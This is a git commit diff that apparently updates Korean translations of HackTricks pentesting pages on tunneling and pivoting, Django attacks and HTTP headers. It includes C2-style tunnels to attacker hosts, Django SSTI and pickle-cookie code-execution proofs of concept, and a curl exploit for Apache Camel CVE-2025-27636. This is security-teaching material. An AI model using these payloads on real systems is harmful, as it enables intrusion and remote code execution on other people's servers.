mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
d18a8c1c45
commit
5cf40f4a34
@ -5,7 +5,7 @@
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐지**를 **비활성화**해야 하며 (`-Pn`) **TCP 스캔**(`-sT`)을 지정해야 합니다.
|
||||
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐지**를 **비활성화**해야 합니다 (`-Pn`) 그리고 **TCP 스캔**(`-sT`)을 지정해야 합니다.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -89,11 +89,11 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **보안 – 테라핀 공격 (CVE-2023-48795)**
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요. citeturn4search0
|
||||
> 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 **모든 포워딩 채널** ( `-L`, `-R`, `-D` )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 (**OpenSSH ≥ 9.6/LibreSSH 6.7**) 또는 SSH 터널에 의존하기 전에 취약한 `chacha20-poly1305@openssh.com` 및 `*-etm@openssh.com` 알고리즘을 `sshd_config`/`ssh_config`에서 명시적으로 비활성화하세요.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
호스트를 통해 **서브네트워크**로 모든 **트래픽**을 **ssh**를 통해 **터널링**할 수 있습니다.\
|
||||
**ssh**를 통해 **서브네트워크**로 모든 **트래픽**을 호스트를 통해 **터널링**할 수 있습니다.\
|
||||
예를 들어, 10.10.10.0/24로 가는 모든 트래픽을 포워딩합니다.
|
||||
```bash
|
||||
pip install sshuttle
|
||||
@ -136,9 +136,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
## Cobalt Strike
|
||||
|
||||
### SOCKS 프록시
|
||||
### SOCKS proxy
|
||||
|
||||
모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 **비콘을 통해 트래픽을 라우팅**하는 데 사용할 수 있습니다.
|
||||
팀 서버에서 모든 인터페이스에서 수신 대기하는 포트를 열어 **비콘을 통해 트래픽을 라우팅**하는 데 사용할 수 있습니다.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -178,8 +178,8 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
```
|
||||
## Chisel
|
||||
|
||||
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)의 릴리스 페이지에서 다운로드할 수 있습니다.\
|
||||
클라이언트와 서버에 **같은 버전**을 사용해야 합니다.
|
||||
You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
**클라이언트와 서버에 대해 동일한 버전을 사용해야 합니다.**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
**RDP 액세스가 시스템에 필요합니다.**\
|
||||
다운로드:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통해 패킷을 터널링하는 역할**을 합니다.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 `Dynamic Virtual Channels` (`DVC`)를 사용합니다. DVC는 **RDP 연결을 통한 패킷 터널링**을 담당합니다.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
클라이언트 컴퓨터에서 **`SocksOverRDP-Plugin.dll`**을 다음과 같이 로드합니다:
|
||||
@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받게 되고, **127.0.0.1:1080**에서 **대기**할 것입니다.
|
||||
이제 **`mstsc.exe`**를 사용하여 **RDP**를 통해 **희생자**에 **연결**할 수 있으며, **SocksOverRDP 플러그인이 활성화되었다는** **프롬프트**를 받게 되고, **127.0.0.1:1080**에서 **수신** 대기할 것입니다.
|
||||
|
||||
**RDP**를 통해 **연결**하고 희생자 머신에 `SocksOverRDP-Server.exe` 바이너리를 업로드 및 실행합니다:
|
||||
```
|
||||
@ -397,7 +397,7 @@ Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
이제, 예를 들어 피해자의 **SSH** 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자는 포트 2222를 통해 연결할 수 있습니다.\
|
||||
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기할 수도 있습니다.
|
||||
또한 **meterpreter**를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기하도록 할 수 있습니다.
|
||||
|
||||
## YARP
|
||||
|
||||
@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **PowerShell에서**
|
||||
|
||||
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용하여 PowerShell에서 dnscat2 클라이언트를 실행할 수 있습니다:
|
||||
PowerShell에서 dnscat2 클라이언트를 실행하려면 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)를 사용할 수 있습니다:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
@ -444,11 +444,11 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Proxychains DNS 변경
|
||||
#### 프록시체인 DNS 변경
|
||||
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하세요: _/usr/lib/proxychains3/proxyresolv_ 그리고 IP를 변경하세요. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다(하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
|
||||
|
||||
## Go에서의 터널
|
||||
## Go의 터널
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
@ -459,7 +459,7 @@ Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 soc
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
두 시스템 모두에서 루트 권한이 필요하여 tun 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다.
|
||||
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 터널 어댑터를 생성하고 데이터 간에 터널링합니다.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Cloudflared (Cloudflare Tunnel)
|
||||
|
||||
Cloudflare의 `cloudflared` 데몬은 **로컬 TCP/UDP 서비스**를 노출하는 아웃바운드 터널을 생성할 수 있으며, 이를 위해 인바운드 방화벽 규칙이 필요하지 않습니다. Cloudflare의 엣지를 만남의 지점으로 사용합니다. 이는 이그레스 방화벽이 HTTPS 트래픽만 허용하고 인바운드 연결이 차단될 때 매우 유용합니다.
|
||||
Cloudflare의 `cloudflared` 데몬은 **로컬 TCP/UDP 서비스**를 노출하는 아웃바운드 터널을 생성할 수 있으며, 이는 인바운드 방화벽 규칙을 요구하지 않고 Cloudflare의 엣지를 만남의 지점으로 사용합니다. 이는 이그레스 방화벽이 HTTPS 트래픽만 허용하고 인바운드 연결이 차단될 때 매우 유용합니다.
|
||||
|
||||
### Quick tunnel one-liner
|
||||
```bash
|
||||
@ -574,7 +574,7 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
모든 트래픽이 호스트에서 **443 포트를 통해 아웃바운드**로 나가기 때문에, Cloudflared 터널은 인그레스 ACL 또는 NAT 경계를 우회하는 간단한 방법입니다. 이진 파일은 일반적으로 권한이 상승된 상태로 실행되므로, 가능한 경우 컨테이너를 사용하거나 `--user` 플래그를 사용하세요. citeturn1search0
|
||||
모든 트래픽이 호스트에서 **443 포트를 통해 아웃바운드**로 나가기 때문에, Cloudflared 터널은 인그레스 ACL 또는 NAT 경계를 우회하는 간단한 방법입니다. 이진 파일은 일반적으로 권한이 상승된 상태로 실행되므로, 가능한 경우 컨테이너나 `--user` 플래그를 사용하세요.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
위 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다. citeturn2search1
|
||||
위 명령은 피해자의 포트 **8080**을 **attacker_ip:9000**으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.
|
||||
|
||||
## 확인할 다른 도구들
|
||||
|
||||
|
@ -3,10 +3,77 @@
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## 캐시 조작을 통한 RCE
|
||||
Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**.
|
||||
Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 확대할 수 있습니다**.
|
||||
|
||||
Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있다는 점에 유의해야 합니다.
|
||||
Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다.
|
||||
|
||||
이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## 서버 측 템플릿 주입 (SSTI)
|
||||
Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링되면(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다.
|
||||
|
||||
### 탐지
|
||||
1. *모든* 비위생화된 요청 데이터를 포함하는 `Template()` / `Engine.from_string()` / `render_to_string()`에 대한 동적 호출을 찾습니다.
|
||||
2. 시간 기반 또는 산술 페이로드를 전송합니다:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
렌더링된 출력에 `49`가 포함되면 입력이 템플릿 엔진에 의해 컴파일됩니다.
|
||||
|
||||
### RCE로의 원시 단계
|
||||
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python 객체 그래프에 접근할 수 있습니다:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen`의 인덱스를 찾고(약 400–500, Python 빌드에 따라 다름) 임의의 명령을 실행합니다:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
더 안전한 범용 장치는 `cls.__name__ == 'Popen'`이 될 때까지 반복하는 것입니다.
|
||||
|
||||
같은 장치는 사용자 입력을 잘못 처리하는 **Debug Toolbar** 또는 **Django-CMS** 템플릿 렌더링 기능에도 적용됩니다.
|
||||
|
||||
---
|
||||
|
||||
## 피클 기반 세션 쿠키 RCE
|
||||
설정 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`가 활성화되어 있거나 (피클을 역직렬화하는 사용자 정의 직렬 변환기), Django는 *세션 쿠키를 복호화하고 역직렬화*합니다 **보기 코드 호출 전에**. 따라서 유효한 서명 키(기본적으로 프로젝트 `SECRET_KEY`)를 소유하는 것만으로도 즉각적인 원격 코드 실행이 가능합니다.
|
||||
|
||||
### 익스플로잇 요구 사항
|
||||
* 서버가 `PickleSerializer`를 사용합니다.
|
||||
* 공격자가 `settings.SECRET_KEY`를 알고 있거나 추측할 수 있습니다 (GitHub, `.env`, 오류 페이지 등을 통해 유출됨).
|
||||
|
||||
### 개념 증명
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
쿠키를 전송하면 페이로드가 WSGI 작업자의 권한으로 실행됩니다.
|
||||
|
||||
**완화 조치**: 기본 `JSONSerializer`를 유지하고, `SECRET_KEY`를 회전시키며, `SESSION_COOKIE_HTTPONLY`를 구성합니다.
|
||||
|
||||
---
|
||||
|
||||
## 최근 (2023-2025) 고위험 Django CVE 점검 사항
|
||||
* **CVE-2025-48432** – *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *`JSONField`의 `QuerySet.values()/values_list()`에서의 치명적인 SQL 주입* (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨.
|
||||
|
||||
항상 `X-Frame-Options` 오류 페이지 또는 `/static/admin/css/base.css` 해시를 통해 정확한 프레임워크 버전을 식별하고, 해당되는 경우 위 사항을 테스트합니다.
|
||||
|
||||
---
|
||||
|
||||
## 참조
|
||||
* Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" – 2025년 6월 4일.
|
||||
* OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" – 2024년 8월 11일.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -35,7 +35,7 @@ Rewrite **location**:
|
||||
|
||||
## Hop-by-Hop headers
|
||||
|
||||
A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다.
|
||||
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -59,7 +59,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
|
||||
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다.
|
||||
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
|
||||
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
|
||||
- **`Vary`**는 응답에서 **추가 헤더**를 나타내기 위해 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
|
||||
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
|
||||
|
||||
@ -70,15 +70,15 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
|
||||
**로컬 캐시 헤더**:
|
||||
|
||||
- `Clear-Site-Data`: 제거해야 할 캐시를 나타내는 헤더: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 응답이 만료되어야 하는 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Expires`: 응답이 만료될 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일합니다.
|
||||
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태와 관련된 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태에 대한 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
|
||||
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더 **`Last-Modified`**에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
|
||||
- **`If-Match`** 및 **`If-None-Match`**를 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답의 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
|
||||
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
|
||||
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산됩니다**. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
|
||||
|
||||
## Range requests
|
||||
|
||||
@ -90,7 +90,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
|
||||
|
||||
## Message body information
|
||||
|
||||
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 숫자입니다.
|
||||
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
|
||||
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
|
||||
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
|
||||
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다.
|
||||
@ -99,7 +99,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
|
||||
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
|
||||
예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다:
|
||||
|
||||
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출합니다.
|
||||
- 헤더 `Range: bytes=20-20`가 있는 요청과 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함되어 있으면 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
|
||||
|
||||
## Server Info
|
||||
|
||||
@ -117,7 +117,7 @@ A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
이것은 "filename.jpg"라는 파일이 다운로드되고 저장될 의도임을 의미합니다.
|
||||
이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다.
|
||||
|
||||
## 보안 헤더
|
||||
|
||||
@ -160,7 +160,7 @@ X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. CORS는 반면에 더 유연한 교차 출처 리소스 공유 메커니즘을 허용하며, 특정 조건 하에 동일 출처 정책을 완화합니다.
|
||||
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. 반면 CORS는 특정 조건 하에 동일 출처 정책을 완화하여 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용합니다.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
@ -179,8 +179,44 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## References
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 대소문자를 정규화하지 않고 수신된 *리터럴* 헤더 이름을 비교하는 사용자 정의 미들웨어, 보안 필터 또는 비즈니스 로직을 찾는 것은 매우 일반적입니다 (예: `header.equals("CamelExecCommandExecutable")`). 이러한 검사가 **대소문자 구분**으로 수행된다면, 공격자는 다른 대문자 사용으로 동일한 헤더를 전송하여 이를 우회할 수 있습니다.
|
||||
|
||||
이 실수가 발생하는 전형적인 상황:
|
||||
|
||||
* 요청이 민감한 구성 요소에 도달하기 전에 “위험한” 내부 헤더를 차단하려고 하는 사용자 정의 허용/거부 목록.
|
||||
* 역방향 프록시 의사 헤더의 사내 구현 (예: `X-Forwarded-For` 정화).
|
||||
* 관리 / 디버그 엔드포인트를 노출하고 인증 또는 명령 선택을 위해 헤더 이름에 의존하는 프레임워크.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다 (예: 소스 코드, 문서 또는 오류 메시지를 읽음으로써).
|
||||
2. **다른 대소문자로 동일한 헤더를 전송합니다** (혼합 대소문자 또는 대문자). HTTP 스택은 일반적으로 사용자 코드가 실행된 후에만 헤더를 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
|
||||
3. 하위 구성 요소가 헤더를 대소문자 구분 없이 처리하면 (대부분 그렇습니다), 공격자가 제어하는 값을 수용할 것입니다.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
취약한 버전의 Apache Camel에서 *Command Center* 라우트는 `CamelExecCommandExecutable` 및 `CamelExecCommandArgs` 헤더를 제거하여 신뢰할 수 없는 요청을 차단하려고 합니다. 비교는 `equals()`로 수행되었으므로 정확한 소문자 이름만 제거되었습니다.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
헤더는 필터링되지 않은 채 `exec` 구성 요소에 도달하여 Camel 프로세스의 권한으로 원격 명령 실행을 초래합니다.
|
||||
|
||||
### 탐지 및 완화
|
||||
|
||||
* 모든 헤더 이름을 단일 케이스(일반적으로 소문자)로 정규화합니다 **before** 허용/거부 비교를 수행하기 전에.
|
||||
* 의심스러운 중복을 거부합니다: `Header:`와 `HeAdEr:`가 모두 존재하는 경우 이를 이상으로 간주합니다.
|
||||
* 정규화 후 **after** 시행되는 긍정적인 허용 목록을 사용합니다.
|
||||
* 관리 엔드포인트를 인증 및 네트워크 분할로 보호합니다.
|
||||
|
||||
|
||||
## 참조
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user